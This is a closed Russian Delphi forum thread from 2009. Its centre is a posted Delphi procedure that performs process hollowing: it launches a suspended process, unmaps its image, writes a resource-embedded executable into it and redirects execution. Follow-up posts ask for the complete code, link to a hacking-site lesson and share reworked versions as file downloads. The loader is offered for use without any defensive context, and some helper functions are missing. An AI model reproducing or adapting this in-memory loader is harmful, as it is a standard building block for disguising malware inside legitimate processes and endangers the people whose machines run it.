Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Закрытая тема
Ваша тема закрыта, почему это могло произойти? Возможно,
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу.
Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста".
Название темы слишком короткое или не отражает сути вашего вопроса.
Тема исчерпала себя, помните, один вопрос - одна тема
Прочитайте правила и заново правильно создайте тему.
 
Опции темы Поиск в этой теме
Старый 19.04.2009, 13:49   #11
Ntlegend
Форумчанин
 
Аватар для Ntlegend
 
Регистрация: 12.05.2007
Сообщений: 373
По умолчанию

можна так
Код:
procedure MemoryExecute(Buffer: Pointer; ProcessName: PChar);
Var
  Sections              :PImageSectionHeaders;
  BytesRead             :DWORD;
  BytesWritten          :DWORD;
  BaseAddress           :Pointer;
  StartupInfo           :TStartupInfo;
  OldProtect            :ULONG;
  NTHeaders             :PImageNTHeaders;
  I                     :ULONG;
  ProcessInfo           :TProcessInformation;
  Success               :Boolean;
  Context               :TContext;
Begin
  FChar(ProcessInfo, SizeOf(TProcessInformation), 0);
  FChar(StartupInfo, SizeOf(TStartupInfo),        0);

  StartupInfo.cb := SizeOf(TStartupInfo);
  StartupInfo.wShowWindow := Word(false);

  If (CreateProcess(ProcessName, Nil, NIL, NIL,
                    False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
  Begin
    Success := True;

    Try
      Context.ContextFlags := CONTEXT_INTEGER;
      If (GetThreadContext(ProcessInfo.hThread, Context) And
         (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
                            @BaseAddress, SizeOf(BaseAddress), BytesRead)) And
         (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
         (Assigned(Buffer))) Then
         Begin
           NTHeaders    := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
           BaseAddress  := VirtualAllocEx(ProcessInfo.hProcess,
                                          Pointer(NTHeaders.OptionalHeader.ImageBase),
                                          NTHeaders.OptionalHeader.SizeOfImage,
                                          MEM_RESERVE or MEM_COMMIT,
                                          PAGE_READWRITE);
           If (Assigned(BaseAddress)) And
              (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
                                  NTHeaders.OptionalHeader.SizeOfHeaders,
                                  BytesWritten)) Then
              Begin
                Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));
                SetThreadContext(0, context);
                For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
                  If (WriteProcessMemory(ProcessInfo.hProcess,
                                         Pointer(Cardinal(BaseAddress) +
                                                 Sections[I].VirtualAddress),
                                         Pointer(Cardinal(Buffer) +
                                                 Sections[I].PointerToRawData),
                                         Sections[I].SizeOfRawData, BytesWritten)) Then
                     VirtualProtectEx(ProcessInfo.hProcess,
                                      Pointer(Cardinal(BaseAddress) +
                                              Sections[I].VirtualAddress),
                                      Sections[I].Misc.VirtualSize,
                                      Protect(Sections[I].Characteristics),
                                      OldProtect);

                If (WriteProcessMemory(ProcessInfo.hProcess,
                                       Pointer(Context.Ebx + 8), @BaseAddress,
                                       SizeOf(BaseAddress), BytesWritten)) Then
                   Begin
                     Context.Eax := ULONG(BaseAddress) +
                                    NTHeaders.OptionalHeader.AddressOfEntryPoint;
                     MySetThreadContext(ProcessInfo.hThread, Context, Success);
                   End;
              End;
         End;
    Finally
      If (Not Success) Then
        TerminateProcess(ProcessInfo.hProcess, 0)
      Else
        ResumeThread(ProcessInfo.hThread);
    End;
  End;
End;
применяется приблезительно от так:
Код:
var
   ResourcePointer : PChar;
  ResourceLocation : Cardinal;
      ResourceSize :  Cardinal;
     ResDataHandle : Cardinal;
               pch : array [0..MAX_PATH] of char;

Procedure Execute;
begin
  ResourceLocation := FindResource(0, 'ResName', 'ResType');
  ResourceSize := SizeofResource(0, ResourceLocation);
  ResDataHandle := LoadResource(0, ResourceLocation);
  ResourcePointer := LockResource(ResDataHandle);
  GetModuleFileName(0, pch, MAX_PATH);
  MemoryExecute(ResourcePointer, @pch);
  FreeResource(ResDataHandle);
end;
Перемен! - требуют наши сердца. Перемен! - требуют наши глаза.
В нашем смехе и в наших слезах, И в пульсации вен:
"Перемен!Мы ждем перемен!"
Ntlegend вне форума
Старый 20.04.2009, 15:22   #12
rangel
Пользователь
 
Регистрация: 31.10.2007
Сообщений: 65
По умолчанию

Спасибо, попробую, если поможет буду вечно благодарен

Sections :PImageSectionHeaders; ошибка, какие компоненты подключать надо?

Не могли бы вы дать полный код?

Последний раз редактировалось Stilet; 24.04.2009 в 08:34.
rangel вне форума
Старый 23.04.2009, 23:14   #13
BOBAH13
Android Developer
Старожил Подтвердите свой е-майл
 
Аватар для BOBAH13
 
Регистрация: 19.02.2007
Сообщений: 3,708
По умолчанию

1. Код полный не нужен
2. Не пишите три поста, есть кнопка "ПРАВКА"
3. Пишите TImageSectionHeaders, выделяете, и жмете F1
И о Боже, сюрприз, окно в котором описан модуль в каком эта структура описана. А может и MSDN поможет

Последний раз редактировалось mihali4; 03.02.2010 в 13:31.
BOBAH13 вне форума
Старый 23.04.2009, 23:38   #14
rangel
Пользователь
 
Регистрация: 31.10.2007
Сообщений: 65
По умолчанию

Вы извините конечно, но вы когда нибудь видели
такое как
PImageSectionHeaders
ZwUnmapViewOfSection
FChar
MySetThreadContext
ImageFirstSection
такого просно нету в делфи, это чеи то функции а представлен выше не полный код и от ф1 толку нету так как там нету такого!
rangel вне форума
Старый 24.04.2009, 07:30   #15
Kotofff
Участник клуба
 
Аватар для Kotofff
 
Регистрация: 11.01.2009
Сообщений: 1,917
По умолчанию

Полный код из поста #11 вот тут http://xakep.su/64-psevdorezidentnoe...sakh-urok.html
Там же ответы на твои дополнительные вопросы ...
"Заряженному танку в дуло не смотрят" @Dekmer in WoT
Kotofff вне форума
Старый 24.04.2009, 15:35   #16
rangel
Пользователь
 
Регистрация: 31.10.2007
Сообщений: 65
По умолчанию

Спасибо, помогло, урезал теперь работает идеально, ещё раз спасибо

Последний раз редактировалось rangel; 24.04.2009 в 15:43.
rangel вне форума
Старый 24.04.2009, 16:29   #17
856100
Форумчанин
 
Регистрация: 12.08.2008
Сообщений: 135
По умолчанию

Цитата:
Сообщение от rangel Посмотреть сообщение
Спасибо, помогло, урезал теперь работает идеально, ещё раз спасибо
Не могли бы вы здесь привести урезанный код? Процедура очень нужная. Буду при много благодарен.
Будь проще, бери пример с одноклеточных
856100 вне форума
Старый 24.04.2009, 19:57   #18
rangel
Пользователь
 
Регистрация: 31.10.2007
Сообщений: 65
По умолчанию

http://dump.ru/file/2505663
весь код не влезает на страницу, поэтому залил на дамп
rangel вне форума
Старый 24.04.2009, 20:08   #19
856100
Форумчанин
 
Регистрация: 12.08.2008
Сообщений: 135
По умолчанию

Спасибо (про весы не забыл).
Будь проще, бери пример с одноклеточных
856100 вне форума
Старый 25.04.2009, 18:46   #20
Izhic
Форумчанин
 
Аватар для Izhic
 
Регистрация: 08.10.2008
Сообщений: 668
По умолчанию

Срок хранения 30 дней на dump
Надеюсь сдесь дольше.
Поэтому сюда залил.
И в закладки добавил. Да,Сэнкс.
Вложения
Тип файла: rar kode.rar (2.1 Кб, 285 просмотров)
Don't worry be happy
Izhic вне форума
Закрытая тема


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Распаковка архивов Starscream Общие вопросы Delphi 2 25.06.2009 23:26
распаковка .Jpeg vitality Мультимедиа в Delphi 12 08.02.2008 11:00
Распаковка архива. Формат нестандартный. RoadTrain Общие вопросы Delphi 20 17.12.2007 22:08
Распаковка архива Kashp Общие вопросы Delphi 2 23.08.2007 15:08
Отправка->Распаковка пакета Saxon Работа с сетью в Delphi 10 15.04.2007 20:56